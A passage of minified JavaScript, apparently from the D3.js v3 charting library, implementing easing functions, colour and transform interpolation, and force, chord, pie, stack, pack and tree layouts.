F},Do=o.map({linear:wu,poly:Qs,quad:function(){return Yl},cubic:function(){return Zl},sin:function(){return $u},exp:function(){return qu},circle:function(){return ef},elastic:Xl,back:tf,bounce:function(){return rf}}),Fi=o.map({in:F,out:Wo,"in-out":Io,"out-in":function(se){return Io(Wo(se))}});o.ease=function(se){var Ae=se.indexOf("-"),ze=Ae>=0?se.slice(0,Ae):se,Ye=Ae>=0?se.slice(Ae+1):"in";return ze=Do.get(ze)||wu,Ye=Fi.get(Ye)||F,Wl(Ye(ze.apply(null,L.call(arguments,1))))};function Wl(se){return function(Ae){return Ae<=0?0:Ae>=1?1:se(Ae)}}function Wo(se){return function(Ae){return 1-se(1-Ae)}}function Io(se){return function(Ae){return .5*(Ae<.5?se(2*Ae):2-se(2-2*Ae))}}function Yl(se){return se*se}function Zl(se){return se*se*se}function Qu(se){if(se<=0)return 0;if(se>=1)return 1;var Ae=se*se,ze=Ae*se;return 4*(se<.5?ze:3*(se-Ae)+ze-.75)}function Qs(se){return function(Ae){return Math.pow(Ae,se)}}function $u(se){return 1-Math.cos(se*et)}function qu(se){return Math.pow(2,10*(se-1))}function ef(se){return 1-Math.sqrt(1-se*se)}function Xl(se,Ae){var ze;return arguments.length<2&&(Ae=.45),arguments.length?ze=Ae/Ie*Math.asin(1/se):(se=1,ze=Ae/4),function(Ye){return 1+se*Math.pow(2,-10*Ye)*Math.sin((Ye-ze)*Ie/Ae)}}function tf(se){return se||(se=1.70158),function(Ae){return Ae*Ae*((se+1)*Ae-se)}}function rf(se){return se<.36363636363636365?7.5625*se*se:se<.7272727272727273?7.5625*(se-=.5454545454545454)*se+.75:se<.9090909090909091?7.5625*(se-=.8181818181818182)*se+.9375:7.5625*(se-=.9545454545454546)*se+.984375}o.interpolateHcl=Tu;function Tu(se,Ae){se=o.hcl(se),Ae=o.hcl(Ae);var ze=se.h,Ye=se.c,je=se.l,qe=Ae.h-ze,Mt=Ae.c-Ye,it=Ae.l-je;return isNaN(Mt)&&(Mt=0,Ye=isNaN(Ye)?Ae.c:Ye),isNaN(qe)?(qe=0,ze=isNaN(ze)?Ae.h:ze):qe>180?qe-=360:qe<-180&&(qe+=360),function(kt){return Pt(ze+qe*kt,Ye+Mt*kt,je+it*kt)+""}}o.interpolateHsl=nf;function nf(se,Ae){se=o.hsl(se),Ae=o.hsl(Ae);var ze=se.h,Ye=se.s,je=se.l,qe=Ae.h-ze,Mt=Ae.s-Ye,it=Ae.l-je;return isNaN(Mt)&&(Mt=0,Ye=isNaN(Ye)?Ae.s:Ye),isNaN(qe)?(qe=0,ze=isNaN(ze)?Ae.h:ze):qe>180?qe-=360:qe<-180&&(qe+=360),function(kt){return gt(ze+qe*kt,Ye+Mt*kt,je+it*kt)+""}}o.interpolateLab=af;function af(se,Ae){se=o.lab(se),Ae=o.lab(Ae);var ze=se.l,Ye=se.a,je=se.b,qe=Ae.l-ze,Mt=Ae.a-Ye,it=Ae.b-je;return function(kt){return Ne(ze+qe*kt,Ye+Mt*kt,je+it*kt)+""}}o.interpolateRound=jl;function jl(se,Ae){return Ae-=se,function(ze){return Math.round(se+Ae*ze)}}o.transform=function(se){var Ae=d.createElementNS(o.ns.prefix.svg,"g");return(o.transform=function(ze){if(ze!=null){Ae.setAttribute("transform",ze);var Ye=Ae.transform.baseVal.consolidate()}return new ps(Ye?Ye.matrix:of)})(se)};function ps(se){var Ae=[se.a,se.b],ze=[se.c,se.d],Ye=Ds(Ae),je=gs(Ae,ze),qe=Ds(ml(ze,Ae,-je))||0;Ae[0]*ze[1]<ze[0]*Ae[1]&&(Ae[0]*=-1,Ae[1]*=-1,Ye*=-1,je*=-1),this.rotate=(Ye?Math.atan2(Ae[1],Ae[0]):Math.atan2(-ze[0],ze[1]))*St,this.translate=[se.e,se.f],this.scale=[Ye,qe],this.skew=qe?Math.atan2(je,qe)*St:0}ps.prototype.toString=function(){return"translate("+this.translate+")rotate("+this.rotate+")skewX("+this.skew+")scale("+this.scale+")"};function gs(se,Ae){return se[0]*Ae[0]+se[1]*Ae[1]}function Ds(se){var Ae=Math.sqrt(gs(se,se));return Ae&&(se[0]/=Ae,se[1]/=Ae),Ae}function ml(se,Ae,ze){return se[0]+=ze*Ae[0],se[1]+=ze*Ae[1],se}var of={a:1,b:0,c:0,d:1,e:0,f:0};o.interpolateTransform=ys;function Yo(se){return se.length?se.pop()+",":""}function Au(se,Ae,ze,Ye){if(se[0]!==Ae[0]||se[1]!==Ae[1]){var je=ze.push("translate(",null,",",null,")");Ye.push({i:je-4,x:so(se[0],Ae[0])},{i:je-2,x:so(se[1],Ae[1])})}else(Ae[0]||Ae[1])&&ze.push("translate("+Ae+")")}function Kl(se,Ae,ze,Ye){se!==Ae?(se-Ae>180?Ae+=360:Ae-se>180&&(se+=360),Ye.push({i:ze.push(Yo(ze)+"rotate(",null,")")-2,x:so(se,Ae)})):Ae&&ze.push(Yo(ze)+"rotate("+Ae+")")}function sf(se,Ae,ze,Ye){se!==Ae?Ye.push({i:ze.push(Yo(ze)+"skewX(",null,")")-2,x:so(se,Ae)}):Ae&&ze.push(Yo(ze)+"skewX("+Ae+")")}function vo(se,Ae,ze,Ye){if(se[0]!==Ae[0]||se[1]!==Ae[1]){var je=ze.push(Yo(ze)+"scale(",null,",",null,")");Ye.push({i:je-4,x:so(se[0],Ae[0])},{i:je-2,x:so(se[1],Ae[1])})}else(Ae[0]!==1||Ae[1]!==1)&&ze.push(Yo(ze)+"scale("+Ae+")")}function ys(se,Ae){var ze=[],Ye=[];return se=o.transform(se),Ae=o.transform(Ae),Au(se.translate,Ae.translate,ze,Ye),Kl(se.rotate,Ae.rotate,ze,Ye),sf(se.skew,Ae.skew,ze,Ye),vo(se.scale,Ae.scale,ze,Ye),se=Ae=null,function(je){for(var qe=-1,Mt=Ye.length,it;++qe<Mt;)ze[(it=Ye[qe]).i]=it.x(je);return ze.join("")}}function $s(se,Ae){return Ae=(Ae-=se=+se)||1/Ae,function(ze){return(ze-se)/Ae}}function Is(se,Ae){return Ae=(Ae-=se=+se)||1/Ae,function(ze){return Math.max(0,Math.min(1,(ze-se)/Ae))}}o.layout={},o.layout.bundle=function(){return function(se){for(var Ae=[],ze=-1,Ye=se.length;++ze<Ye;)Ae.push(ko(se[ze]));return Ae}};function ko(se){for(var Ae=se.source,ze=se.target,Ye=Jl(Ae,ze),je=[Ae];Ae!==Ye;)Ae=Ae.parent,je.push(Ae);for(var qe=je.length;ze!==Ye;)je.splice(qe,0,ze),ze=ze.parent;return je}function Zo(se){for(var Ae=[],ze=se.parent;ze!=null;)Ae.push(se),se=ze,ze=ze.parent;return Ae.push(se),Ae}function Jl(se,Ae){if(se===Ae)return se;for(var ze=Zo(se),Ye=Zo(Ae),je=ze.pop(),qe=Ye.pop(),Mt=null;je===qe;)Mt=je,je=ze.pop(),qe=Ye.pop();return Mt}o.layout.chord=function(){var se={},Ae,ze,Ye,je,qe=0,Mt,it,kt;function jt(){var wr={},xr=[],Gr=o.range(je),jr=[],Mr,_r,Hr,Kr,rn;for(Ae=[],ze=[],Mr=0,Kr=-1;++Kr<je;){for(_r=0,rn=-1;++rn<je;)_r+=Ye[Kr][rn];xr.push(_r),jr.push(o.range(je)),Mr+=_r}for(Mt&&Gr.sort(function(Ra,ya){return Mt(xr[Ra],xr[ya])}),it&&jr.forEach(function(Ra,ya){Ra.sort(function(Ca,Ua){return it(Ye[ya][Ca],Ye[ya][Ua])})}),Mr=(Ie-qe*je)/Mr,_r=0,Kr=-1;++Kr<je;){for(Hr=_r,rn=-1;++rn<je;){var Vr=Gr[Kr],Dn=jr[Vr][rn],Fn=Ye[Vr][Dn],Vn=_r,Kn=_r+=Fn*Mr;wr[Vr+"-"+Dn]={index:Vr,subindex:Dn,startAngle:Vn,endAngle:Kn,value:Fn}}ze[Vr]={index:Vr,startAngle:Hr,endAngle:_r,value:xr[Vr]},_r+=qe}for(Kr=-1;++Kr<je;)for(rn=Kr-1;++rn<je;){var ca=wr[Kr+"-"+rn],fa=wr[rn+"-"+Kr];(ca.value||fa.value)&&Ae.push(ca.value<fa.value?{source:fa,target:ca}:{source:ca,target:fa})}kt&&Kt()}function Kt(){Ae.sort(function(wr,xr){return kt((wr.source.value+wr.target.value)/2,(xr.source.value+xr.target.value)/2)})}return se.matrix=function(wr){return arguments.length?(je=(Ye=wr)&&Ye.length,Ae=ze=null,se):Ye},se.padding=function(wr){return arguments.length?(qe=wr,Ae=ze=null,se):qe},se.sortGroups=function(wr){return arguments.length?(Mt=wr,Ae=ze=null,se):Mt},se.sortSubgroups=function(wr){return arguments.length?(it=wr,Ae=null,se):it},se.sortChords=function(wr){return arguments.length?(kt=wr,Ae&&Kt(),se):kt},se.chords=function(){return Ae||jt(),Ae},se.groups=function(){return ze||jt(),ze},se},o.layout.force=function(){var se={},Ae=o.dispatch("start","tick","end"),ze,Ye=[1,1],je,qe,Mt=.9,it=_s,kt=Mu,jt=-30,Kt=Su,wr=.1,xr=.64,Gr=[],jr=[],Mr,_r,Hr;function Kr(Vr){return function(Dn,Fn,Vn,Kn){if(Dn.point!==Vr){var ca=Dn.cx-Vr.x,fa=Dn.cy-Vr.y,Ra=Kn-Fn,ya=ca*ca+fa*fa;if(Ra*Ra/xr<ya){if(ya<Kt){var Ca=Dn.charge/ya;Vr.px-=ca*Ca,Vr.py-=fa*Ca}return!0}if(Dn.point&&ya&&ya<Kt){var Ca=Dn.pointCharge/ya;Vr.px-=ca*Ca,Vr.py-=fa*Ca}}return!Dn.charge}}se.tick=function(){if((qe*=.99)<.005)return ze=null,Ae.end({type:"end",alpha:qe=0}),!0;var Vr=Gr.length,Dn=jr.length,Fn,Vn,Kn,ca,fa,Ra,ya,Ca,Ua;for(Vn=0;Vn<Dn;++Vn)Kn=jr[Vn],ca=Kn.source,fa=Kn.target,Ca=fa.x-ca.x,Ua=fa.y-ca.y,(Ra=Ca*Ca+Ua*Ua)&&(Ra=qe*_r[Vn]*((Ra=Math.sqrt(Ra))-Mr[Vn])/Ra,Ca*=Ra,Ua*=Ra,fa.x-=Ca*(ya=ca.weight+fa.weight?ca.weight/(ca.weight+fa.weight):.5),fa.y-=Ua*ya,ca.x+=Ca*(ya=1-ya),ca.y+=Ua*ya);if((ya=qe*wr)&&(Ca=Ye[0]/2,Ua=Ye[1]/2,Vn=-1,ya))for(;++Vn<Vr;)Kn=Gr[Vn],Kn.x+=(Ca-Kn.x)*ya,Kn.y+=(Ua-Kn.y)*ya;if(jt)for(xl(Fn=o.geom.quadtree(Gr),qe,Hr),Vn=-1;++Vn<Vr;)(Kn=Gr[Vn]).fixed||Fn.visit(Kr(Kn));for(Vn=-1;++Vn<Vr;)Kn=Gr[Vn],Kn.fixed?(Kn.x=Kn.px,Kn.y=Kn.py):(Kn.x-=(Kn.px-(Kn.px=Kn.x))*Mt,Kn.y-=(Kn.py-(Kn.py=Kn.y))*Mt);Ae.tick({type:"tick",alpha:qe})},se.nodes=function(Vr){return arguments.length?(Gr=Vr,se):Gr},se.links=function(Vr){return arguments.length?(jr=Vr,se):jr},se.size=function(Vr){return arguments.length?(Ye=Vr,se):Ye},se.linkDistance=function(Vr){return arguments.length?(it=typeof Vr=="function"?Vr:+Vr,se):it},se.distance=se.linkDistance,se.linkStrength=function(Vr){return arguments.length?(kt=typeof Vr=="function"?Vr:+Vr,se):kt},se.friction=function(Vr){return arguments.length?(Mt=+Vr,se):Mt},se.charge=function(Vr){return arguments.length?(jt=typeof Vr=="function"?Vr:+Vr,se):jt},se.chargeDistance=function(Vr){return arguments.length?(Kt=Vr*Vr,se):Math.sqrt(Kt)},se.gravity=function(Vr){return arguments.length?(wr=+Vr,se):wr},se.theta=function(Vr){return arguments.length?(xr=Vr*Vr,se):Math.sqrt(xr)},se.alpha=function(Vr){return arguments.length?(Vr=+Vr,qe?Vr>0?qe=Vr:(ze.c=null,ze.t=NaN,ze=null,Ae.end({type:"end",alpha:qe=0})):Vr>0&&(Ae.start({type:"start",alpha:qe=Vr}),ze=gn(se.tick)),se):qe},se.start=function(){var Vr,Dn=Gr.length,Fn=jr.length,Vn=Ye[0],Kn=Ye[1],ca,fa;for(Vr=0;Vr<Dn;++Vr)(fa=Gr[Vr]).index=Vr,fa.weight=0;for(Vr=0;Vr<Fn;++Vr)fa=jr[Vr],typeof fa.source=="number"&&(fa.source=Gr[fa.source]),typeof fa.target=="number"&&(fa.target=Gr[fa.target]),++fa.source.weight,++fa.target.weight;for(Vr=0;Vr<Dn;++Vr)fa=Gr[Vr],isNaN(fa.x)&&(fa.x=Ra("x",Vn)),isNaN(fa.y)&&(fa.y=Ra("y",Kn)),isNaN(fa.px)&&(fa.px=fa.x),isNaN(fa.py)&&(fa.py=fa.y);if(Mr=[],typeof it=="function")for(Vr=0;Vr<Fn;++Vr)Mr[Vr]=+it.call(this,jr[Vr],Vr);else for(Vr=0;Vr<Fn;++Vr)Mr[Vr]=it;if(_r=[],typeof kt=="function")for(Vr=0;Vr<Fn;++Vr)_r[Vr]=+kt.call(this,jr[Vr],Vr);else for(Vr=0;Vr<Fn;++Vr)_r[Vr]=kt;if(Hr=[],typeof jt=="function")for(Vr=0;Vr<Dn;++Vr)Hr[Vr]=+jt.call(this,Gr[Vr],Vr);else for(Vr=0;Vr<Dn;++Vr)Hr[Vr]=jt;function Ra(ya,Ca){if(!ca){for(ca=new Array(Dn),$a=0;$a<Dn;++$a)ca[$a]=[];for($a=0;$a<Fn;++$a){var Ua=jr[$a];ca[Ua.source.index].push(Ua.target),ca[Ua.target.index].push(Ua.source)}}for(var Wa=ca[Vr],$a=-1,In=Wa.length,La;++$a<In;)if(!isNaN(La=Wa[$a][ya]))return La;return Math.random()*Ca}return se.resume()},se.resume=function(){return se.alpha(.1)},se.stop=function(){return se.alpha(0)},se.drag=function(){if(je||(je=o.behavior.drag().origin(F).on("dragstart.force",ks).on("drag.force",rn).on("dragend.force",rs)),!arguments.length)return je;this.on("mouseover.force",xi).on("mouseout.force",Ql).call(je)};function rn(Vr){Vr.px=o.event.x,Vr.py=o.event.y,se.resume()}return o.rebind(se,Ae,"on")};function ks(se){se.fixed|=2}function rs(se){se.fixed&=-7}function xi(se){se.fixed|=4,se.px=se.x,se.py=se.y}function Ql(se){se.fixed&=-5}function xl(se,Ae,ze){var Ye=0,je=0;if(se.charge=0,!se.leaf)for(var qe=se.nodes,Mt=qe.length,it=-1,kt;++it<Mt;)kt=qe[it],kt!=null&&(xl(kt,Ae,ze),se.charge+=kt.charge,Ye+=kt.charge*kt.cx,je+=kt.charge*kt.cy);if(se.point){se.leaf||(se.point.x+=Math.random()-.5,se.point.y+=Math.random()-.5);var jt=Ae*ze[se.point.index];se.charge+=se.pointCharge=jt,Ye+=jt*se.point.x,je+=jt*se.point.y}se.cx=Ye/se.charge,se.cy=je/se.charge}var _s=20,Mu=1,Su=1/0;o.layout.hierarchy=function(){var se=$l,Ae=bl,ze=lf;function Ye(je){var qe=[je],Mt=[],it;for(je.depth=0;(it=qe.pop())!=null;)if(Mt.push(it),(jt=Ae.call(Ye,it,it.depth))&&(kt=jt.length)){for(var kt,jt,Kt;--kt>=0;)qe.push(Kt=jt[kt]),Kt.parent=it,Kt.depth=it.depth+1;ze&&(it.value=0),it.children=jt}else ze&&(it.value=+ze.call(Ye,it,it.depth)||0),delete it.children;return ki(je,function(wr){var xr,Gr;se&&(xr=wr.children)&&xr.sort(se),ze&&(Gr=wr.parent)&&(Gr.value+=wr.value)}),Mt}return Ye.sort=function(je){return arguments.length?(se=je,Ye):se},Ye.children=function(je){return arguments.length?(Ae=je,Ye):Ae},Ye.value=function(je){return arguments.length?(ze=je,Ye):ze},Ye.revalue=function(je){return ze&&(Fs(je,function(qe){qe.children&&(qe.value=0)}),ki(je,function(qe){var Mt;qe.children||(qe.value=+ze.call(Ye,qe,qe.depth)||0),(Mt=qe.parent)&&(Mt.value+=qe.value)})),je},Ye};function zs(se,Ae){return o.rebind(se,Ae,"sort","children","value"),se.nodes=se,se.links=uf,se}function Fs(se,Ae){for(var ze=[se];(se=ze.pop())!=null;)if(Ae(se),(je=se.children)&&(Ye=je.length))for(var Ye,je;--Ye>=0;)ze.push(je[Ye])}function ki(se,Ae){for(var ze=[se],Ye=[];(se=ze.pop())!=null;)if(Ye.push(se),(Mt=se.children)&&(qe=Mt.length))for(var je=-1,qe,Mt;++je<qe;)ze.push(Mt[je]);for(;(se=Ye.pop())!=null;)Ae(se)}function bl(se){return se.children}function lf(se){return se.value}function $l(se,Ae){return Ae.value-se.value}function uf(se){return o.merge(se.map(function(Ae){return(Ae.children||[]).map(function(ze){return{source:Ae,target:ze}})}))}o.layout.partition=function(){var se=o.layout.hierarchy(),Ae=[1,1];function ze(qe,Mt,it,kt){var jt=qe.children;if(qe.x=Mt,qe.y=qe.depth*kt,qe.dx=it,qe.dy=kt,jt&&(wr=jt.length)){var Kt=-1,wr,xr,Gr;for(it=qe.value?it/qe.value:0;++Kt<wr;)ze(xr=jt[Kt],Mt,Gr=xr.value*it,kt),Mt+=Gr}}function Ye(qe){var Mt=qe.children,it=0;if(Mt&&(jt=Mt.length))for(var kt=-1,jt;++kt<jt;)it=Math.max(it,Ye(Mt[kt]));return 1+it}function je(qe,Mt){var it=se.call(this,qe,Mt);return ze(it[0],0,Ae[0],Ae[1]/Ye(it[0])),it}return je.size=function(qe){return arguments.length?(Ae=qe,je):Ae},zs(je,se)},o.layout.pie=function(){var se=Number,Ae=wl,ze=0,Ye=Ie,je=0;function qe(Mt){var it=Mt.length,kt=Mt.map(function(Kr,rn){return+se.call(qe,Kr,rn)}),jt=+(typeof ze=="function"?ze.apply(this,arguments):ze),Kt=(typeof Ye=="function"?Ye.apply(this,arguments):Ye)-jt,wr=Math.min(Math.abs(Kt)/it,+(typeof je=="function"?je.apply(this,arguments):je)),xr=wr*(Kt<0?-1:1),Gr=o.sum(kt),jr=Gr?(Kt-it*xr)/Gr:0,Mr=o.range(it),_r=[],Hr;return Ae!=null&&Mr.sort(Ae===wl?function(Kr,rn){return kt[rn]-kt[Kr]}:function(Kr,rn){return Ae(Mt[Kr],Mt[rn])}),Mr.forEach(function(Kr){_r[Kr]={data:Mt[Kr],value:Hr=kt[Kr],startAngle:jt,endAngle:jt+=Hr*jr+xr,padAngle:wr}}),_r}return qe.value=function(Mt){return arguments.length?(se=Mt,qe):se},qe.sort=function(Mt){return arguments.length?(Ae=Mt,qe):Ae},qe.startAngle=function(Mt){return arguments.length?(ze=Mt,qe):ze},qe.endAngle=function(Mt){return arguments.length?(Ye=Mt,qe):Ye},qe.padAngle=function(Mt){return arguments.length?(je=Mt,qe):je},qe};var wl={};o.layout.stack=function(){var se=F,Ae=Tl,ze=ru,Ye=eu,je=qs,qe=ql;function Mt(it,kt){if(!(jr=it.length))return it;var jt=it.map(function(Kr,rn){return se.call(Mt,Kr,rn)}),Kt=jt.map(function(Kr){return Kr.map(function(rn,Vr){return[je.call(Mt,rn,Vr),qe.call(Mt,rn,Vr)]})}),wr=Ae.call(Mt,Kt,kt);jt=o.permute(jt,wr),Kt=o.permute(Kt,wr);var xr=ze.call(Mt,Kt,kt),Gr=jt[0].length,jr,Mr,_r,Hr;for(_r=0;_r<Gr;++_r)for(Ye.call(Mt,jt[0][_r],Hr=xr[_r],Kt[0][_r][1]),Mr=1;Mr<jr;++Mr)Ye.call(Mt,jt[Mr][_r],Hr+=Kt[Mr-1][_r][1],Kt[Mr][_r][1]);return it}return Mt.values=function(it){return arguments.length?(se=it,Mt):se},Mt.order=function(it){return arguments.length?(Ae=typeof it=="function"?it:el.get(it)||Tl,Mt):Ae},Mt.offset=function(it){return arguments.length?(ze=typeof it=="function"?it:tu.get(it)||ru,Mt):ze},Mt.x=function(it){return arguments.length?(je=it,Mt):je},Mt.y=function(it){return arguments.length?(qe=it,Mt):qe},Mt.out=function(it){return arguments.length?(Ye=it,Mt):Ye},Mt};function qs(se){return se.x}function ql(se){return se.y}function eu(se,Ae,ze){se.y0=Ae,se.y=ze}var el=o.map({"inside-out":function(se){var Ae=se.length,ze,Ye,je=se.map(ri),qe=se.map(Eu),Mt=o.range(Ae).sort(function(wr,xr){return je[wr]-je[xr]}),it=0,kt=0,jt=[],Kt=[];for(ze=0;ze<Ae;++ze)Ye=Mt[ze],it<kt?(it+=qe[Ye],jt.push(Ye)):(kt+=qe[Ye],Kt.push(Ye));return Kt.reverse().concat(jt)},reverse:function(se){return o.range(se.length).reverse()},default:Tl}),tu=o.map({silhouette:function(se){var Ae=se.length,ze=se[0].length,Ye=[],je=0,qe,Mt,it,kt=[];for(Mt=0;Mt<ze;++Mt){for(qe=0,it=0;qe<Ae;qe++)it+=se[qe][Mt][1];it>je&&(je=it),Ye.push(it)}for(Mt=0;Mt<ze;++Mt)kt[Mt]=(je-Ye[Mt])/2;return kt},wiggle:function(se){var Ae=se.length,ze=se[0],Ye=ze.length,je,qe,Mt,it,kt,jt,Kt,wr,xr,Gr=[];for(Gr[0]=wr=xr=0,qe=1;qe<Ye;++qe){for(je=0,it=0;je<Ae;++je)it+=se[je][qe][1];for(je=0,kt=0,Kt=ze[qe][0]-ze[qe-1][0];je<Ae;++je){for(Mt=0,jt=(se[je][qe][1]-se[je][qe-1][1])/(2*Kt);Mt<je;++Mt)jt+=(se[Mt][qe][1]-se[Mt][qe-1][1])/Kt;kt+=jt*se[je][qe][1]}Gr[qe]=wr-=it?kt/it*Kt:0,wr<xr&&(xr=wr)}for(qe=0;qe<Ye;++qe)Gr[qe]-=xr;return Gr},expand:function(se){var Ae=se.length,ze=se[0].length,Ye=1/Ae,je,qe,Mt,it=[];for(qe=0;qe<ze;++qe){for(je=0,Mt=0;je<Ae;je++)Mt+=se[je][qe][1];if(Mt)for(je=0;je<Ae;je++)se[je][qe][1]/=Mt;else for(je=0;je<Ae;je++)se[je][qe][1]=Ye}for(qe=0;qe<ze;++qe)it[qe]=0;return it},zero:ru});function Tl(se){return o.range(se.length)}function ru(se){for(var Ae=-1,ze=se[0].length,Ye=[];++Ae<ze;)Ye[Ae]=0;return Ye}function ri(se){for(var Ae=1,ze=0,Ye=se[0][1],je,qe=se.length;Ae<qe;++Ae)(je=se[Ae][1])>Ye&&(ze=Ae,Ye=je);return ze}function Eu(se){return se.reduce(wo,0)}function wo(se,Ae){return se+Ae[1]}o.layout.histogram=function(){var se=!0,Ae=Number,ze=nu,Ye=Os;function je(qe,xr){for(var it=[],kt=qe.map(Ae,this),jt=ze.call(this,kt,xr),Kt=Ye.call(this,jt,kt,xr),wr,xr=-1,Gr=kt.length,jr=Kt.length-1,Mr=se?1:1/Gr,_r;++xr<jr;)wr=it[xr]=[],wr.dx=Kt[xr+1]-(wr.x=Kt[xr]),wr.y=0;if(jr>0)for(xr=-1;++xr<Gr;)_r=kt[xr],_r>=jt[0]&&_r<=jt[1]&&(wr=it[o.bisect(Kt,_r,1,jr)-1],wr.y+=Mr,wr.push(qe[xr]));return it}return je.value=function(qe){return arguments.length?(Ae=qe,je):Ae},je.range=function(qe){return arguments.length?(ze=Ur(qe),je):ze},je.bins=function(qe){return arguments.length?(Ye=typeof qe=="number"?function(Mt){return ms(Mt,qe)}:Ur(qe),je):Ye},je.frequency=function(qe){return arguments.length?(se=!!qe,je):se},je};function Os(se,Ae){return ms(se,Math.ceil(Math.log(Ae.length)/Math.LN2+1))}function ms(se,Ae){for(var ze=-1,Ye=+se[0],je=(se[1]-Ye)/Ae,qe=[];++ze<=Ae;)qe[ze]=je*ze+Ye;return qe}function nu(se){return[o.min(se),o.max(se)]}o.layout.pack=function(){var se=o.layout.hierarchy().sort(wi),Ae=0,ze=[1,1],Ye;function je(qe,Mt){var it=se.call(this,qe,Mt),kt=it[0],jt=ze[0],Kt=ze[1],wr=Ye==null?Math.sqrt:typeof Ye=="function"?Ye:function(){return Ye};if(kt.x=kt.y=0,ki(kt,function(Gr){Gr.r=+wr(Gr.value)}),ki(kt,jo),Ae){var xr=Ae*(Ye?1:Math.max(2*kt.r/jt,2*kt.r/Kt))/2;ki(kt,function(Gr){Gr.r+=xr}),ki(kt,jo),ki(kt,function(Gr){Gr.r-=xr})}return is(kt,jt/2,Kt/2,Ye?1:1/Math.max(2*kt.r/jt,2*kt.r/Kt)),it}return je.size=function(qe){return arguments.length?(ze=qe,je):ze},je.radius=function(qe){return arguments.length?(Ye=qe==null||typeof qe=="function"?qe:+qe,je):Ye},je.padding=function(qe){return arguments.length?(Ae=+qe,je):Ae},zs(je,se)};function wi(se,Ae){return se.value-Ae.value}function tl(se,Ae){var ze=se._pack_next;se._pack_next=Ae,Ae._pack_prev=se,Ae._pack_next=ze,ze._pack_prev=Ae}function to(se,Ae){se._pack_next=Ae,Ae._pack_prev=se}function Xo(se,Ae){var ze=Ae.x-se.x,Ye=Ae.y-se.y,je=se.r+Ae.r;return .999*je*je>ze*ze+Ye*Ye}function jo(se){if(!(Ae=se.children)||!(xr=Ae.length))return;var Ae,ze=1/0,Ye=-1/0,je=1/0,qe=-1/0,Mt,it,kt,jt,Kt,wr,xr;function Gr(Vr){ze=Math.min(Vr.x-Vr.r,ze),Ye=Math.max(Vr.x+Vr.r,Ye),je=Math.min(Vr.y-Vr.r,je),qe=Math.max(Vr.y+Vr.r,qe)}if(Ae.forEach(ns),Mt=Ae[0],Mt.x=-Mt.r,Mt.y=0,Gr(Mt),xr>1&&(it=Ae[1],it.x=it.r,it.y=0,Gr(it),xr>2))for(kt=Ae[2],To(Mt,it,kt),Gr(kt),tl(Mt,kt),Mt._pack_prev=kt,tl(kt,it),it=Mt._pack_next,jt=3;jt<xr;jt++){To(Mt,it,kt=Ae[jt]);var jr=0,Mr=1,_r=1;for(Kt=it._pack_next;Kt!==it;Kt=Kt._pack_next,Mr++)if(Xo(Kt,kt)){jr=1;break}if(jr==1)for(wr=Mt._pack_prev;wr!==Kt._pack_prev&&!Xo(wr,kt);wr=wr._pack_prev,_r++);jr?(Mr<_r||Mr==_r&&it.r<Mt.r?to(Mt,it=Kt):to(Mt=wr,it),jt--):(tl(Mt,kt),it=kt,Gr(kt))}var Hr=(ze+Ye)/2,Kr=(je+qe)/2,rn=0;for(jt=0;jt<xr;jt++)kt=Ae[jt],kt.x-=Hr,kt.y-=Kr,rn=Math.max(rn,kt.r+Math.sqrt(kt.x*kt.x+kt.y*kt.y));se.r=rn,Ae.forEach(as)}function ns(se){se._pack_next=se._pack_prev=se}function as(se){delete se._pack_next,delete se._pack_prev}function is(se,Ae,ze,Ye){var je=se.children;if(se.x=Ae+=Ye*se.x,se.y=ze+=Ye*se.y,se.r*=Ye,je)for(var qe=-1,Mt=je.length;++qe<Mt;)is(je[qe],Ae,ze,Ye)}function To(se,Ae,ze){var Ye=se.r+ze.r,je=Ae.x-se.x,qe=Ae.y-se.y;if(Ye&&(je||qe)){var Mt=Ae.r+ze.r,it=je*je+qe*qe;Mt*=Mt,Ye*=Ye;var kt=.5+(Ye-Mt)/(2*it),jt=Math.sqrt(Math.max(0,2*Mt*(Ye+it)-(Ye-=it)*Ye-Mt*Mt))/(2*it);ze.x=se.x+kt*je+jt*qe,ze.y=se.y+kt*qe-jt*je}else ze.x=se.x+Ye,ze.y=se.y}o.layout.tree=function(){var se=o.layout.hierarchy().sort(null).value(null),Ae=_o,ze=[1,1],Ye=null;function je(Kt,wr){var xr=se.call(this,Kt,wr),Gr=xr[0],jr=qe(Gr);if(ki(jr,Mt),jr.parent.m=-jr.z,Fs(jr,it),Ye)Fs(Gr,jt);else{var Mr=Gr,_r=Gr,Hr=Gr;Fs(Gr,function(Dn){Dn.x<Mr.x&&(Mr=Dn),Dn.x>_r.x&&(_r=Dn),Dn.depth>Hr.depth&&(Hr=Dn)});var Kr=Ae(Mr,_r)/2-Mr.x,rn=ze[0]/(_r.x+Ae(_r,Mr)/2+Kr),Vr=ze[1]/(Hr.depth||1);Fs(Gr,function(Dn){Dn.x=(Dn.x+Kr)*rn,Dn.y=Dn.depth*Vr})}return xr}function qe(Kt){for(var wr={A:null,children:[Kt]},xr=[wr],Gr;(Gr=xr.pop())!=null;)for(var jr=Gr.children,Mr,_r=0,Hr=jr.length;_r<Hr;++_r)xr.push((jr[_r]=Mr={_:jr[_r],parent:Gr,children:(Mr=jr[_r].children)&&Mr.slice()||[],A:null,a:null,z:0,m:0,c:0,s:0,t:null,i:_r}).a=Mr);return wr.children[0]}function Mt(Kt){var wr=Kt.children,xr=Kt.parent.children,Gr=Kt.i?xr[Kt.i-1]:null;if(wr.length){ff(Kt);var jr=(wr[0].z+wr[wr.length-1].z)/2;Gr?(Kt.z=Gr.z+Ae(Kt._,Gr._),Kt.m=Kt.z-jr):Kt.z=jr}else Gr&&(Kt.z=Gr.z+Ae(Kt._,Gr._));Kt.parent.A=kt(Kt,Gr,Kt.parent.A||xr[0])}function it(Kt){Kt._.x=Kt.z+Kt.parent.m,Kt.m+=Kt.parent.m}function kt(Kt,wr,xr){if(wr){for(var Gr=Kt,jr=Kt,Mr=wr,_r=Gr.parent.children[0],Hr=Gr.m,Kr=jr.m,rn=Mr.m,Vr=_r.m,Dn;Mr=nl(Mr),Gr=rl(Gr),Mr&&Gr;)_r=rl(_r),jr=nl(jr),jr.a=Kt,Dn=Mr.z+rn-Gr.z-Hr+Ae(Mr._,Gr._),Dn>0&&(Al(cf(Mr,Kt,xr),Kt,Dn),Hr+=Dn,Kr+=Dn),rn+=Mr.m,Hr+=Gr.m,Vr+=_r.m,Kr+=jr.m;Mr&&!nl(jr)&&(jr.t=Mr,jr.m+=rn-Kr),Gr&&!rl(_r)&&(_r.t=Gr,_r.m+=Hr-Vr,xr=Kt)}return xr}function jt(Kt){Kt.x*=ze[0],Kt.y=Kt.depth*ze[1]}return je.separation=function(Kt){return 